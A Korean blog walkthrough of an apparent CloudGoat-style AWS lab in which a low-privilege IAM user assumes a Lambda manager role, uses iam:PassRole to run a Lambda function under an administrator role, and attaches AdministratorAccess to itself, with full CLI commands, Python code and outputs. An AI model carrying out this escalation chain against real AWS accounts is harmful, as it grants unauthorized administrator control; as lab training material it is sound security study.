#-------------------- 0. 시작 환경 설정 --------------------
### 시작 계정(Chris) Access Key 확인 ###
cat start.txt
### 프로파일 생성 ###
aws configure --profile lambda_privesc
Chris에 붙어있는 유저 정책을 확인해보면 iam 서비스와 sts 역할 전환을 할 수 있습니다.
#-------------------- 1.1 현재 소유 권한 분석 - Policy --------------------
### 계정 리스트 확인 ###
aws iam list-users --profile lambda_privesc
### chris 에게 적용된 AWS 관리 정책 (manager 요청) ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
### chris 에게 적용된 User 관리 정책 (lambda_privesc 요청) ###
aws iam list-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"PolicyNames": []
}
### cg-chris-policy-cgidnsyro2hx1n 정책 확인 ###
aws iam get-policy-version --policy-arn arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n --version-id v1 --profile lambda_privesc
# 출력결과
{
"PolicyVersion": {
"Document": {
"Statement": [
{
"Action": [
"sts:AssumeRole",
"iam:List*",
"iam:Get*"
],
"Effect": "Allow",
"Resource": "*",
"Sid": "chris"
}
],
"Version": "2012-10-17"
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2025-04-03T08:13:29+00:00"
}
}
1. 소유 권한 분석
2개의 역할(debug-role, lambdaManager-role)을 확인해 보면
1. debug-role은 관리자 권한(AdministratorAccess)이 할당되어 있고
2. lambdaManager-role에는 iam:PassRole와 lambda:*에 대한 권한이 할당되어 있습니다.
이 문제는 lambdaManager-role에 할당된 iam:PassRole을 이용하여 lambda 함수로 debug-role 역할을 전달한 후 debug-role 이 가지고 있는 관리자권한을 이용하여 다른 유저(Chris)의 권한을 상승시키는 취약점을 활용한 문제 입니다.
Chris 유저가 가지고 있는 역할 전환 권한을 이용하여 lambdaManager-role로 역할 전환하고 새로운 프로파일을 만듭니다.
#-------------------- 2. 역할 전환 및 Role 프로파일 생성 ### --------------------
### 역할 전환 (lambdaManager) ###
aws sts assume-role --role-arn arn:aws:iam::739275444311:role/cg-lambdaManager-role-cgidnsyro2hx1n --role-session-name Chris --profile lambda_privesc
### 역할 전환 프로파일 생성 ###
aws configure set --profile role_LambdaManager aws_access_key_id <access_key>
aws configure set --profile role_LambdaManager aws_secret_access_key <secret_key>
aws configure set --profile role_LambdaManager aws_session_token <session_token>
3. 람다 함수 생성 및 관리자권한 획득
Chris 사용자에게 관리자권한을 추가하는 lambda 함수를 작성 후 lambda 함수를 생성하고 실행합니다.
이 모든 과정은 LambdaManager 역할로 수행합니다.
Lambda 함수가 정상적으로 실행된 후 Chris가 소유하고 있는 권한을 재확인해보면 관리자 권한을 소유하고 있음이 확인됩니다.
#-------------------- 3. Lambda 함수 생성 및 실행하여 관리자 권한 획득 ### --------------------
### 관리자 권한 획득을 위한 Lambda 함수 - 코드 생성 ###
# 파일명 : lambda_function.py
import boto3
def lambda_handler(event, context):
iam = boto3.client('iam')
# 사용자 이름과 정책 ARN 설정
user_name = 'chris-cgidnsyro2hx1n' # 사용자이름
policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
try:
# 정책 attach 실행
iam.attach_user_policy(
UserName=user_name,
PolicyArn=policy_arn
)
return {
'status': 'Success',
'message': f'Attached AdministratorAccess to user {user_name}'
}
except Exception as e:
return {
'status': 'Error',
'message': str(e)
}
### .py 코드 zip 파일 변환 ###
zip function.zip lambda_function.py
### lambda 함수 생성 ###
aws lambda create-function \
--function-name PrivilegeAttack1 \
--runtime python3.12 \
--role arn:aws:iam::739275444311:role/cg-debug-role-cgidnsyro2hx1n \
--handler lambda_function.lambda_handler \
--zip-file fileb://function.zip \
--profile role_LambdaManager
### lambda 함수 실행 ###
aws lambda invoke \
--function-name PrivilegeAttack1 \
--payload '{}' \
response.json \
--profile role_LambdaManager
### chris 에게 적용된 AWS 관리 정책 확인 - 관리자 권한 획득 ###
aws iam list-attached-user-policies --user-name chris-cgidnsyro2hx1n --profile lambda_privesc
# 출력결과
{
"AttachedPolicies": [
{
"PolicyName": "AdministratorAccess",
"PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess"
},
{
"PolicyName": "cg-chris-policy-cgidnsyro2hx1n",
"PolicyArn": "arn:aws:iam::739275444311:policy/cg-chris-policy-cgidnsyro2hx1n"
}
]
}
<권한 상승 취약점을 활용한 관리자 권환 획득>
관리자 권한 상승 - 성공
내용이 유용하셨다면 좋아요&댓글 부탁드립니다. 이 블로그를 이끌어갈 수 있는 강력한 힘입니다!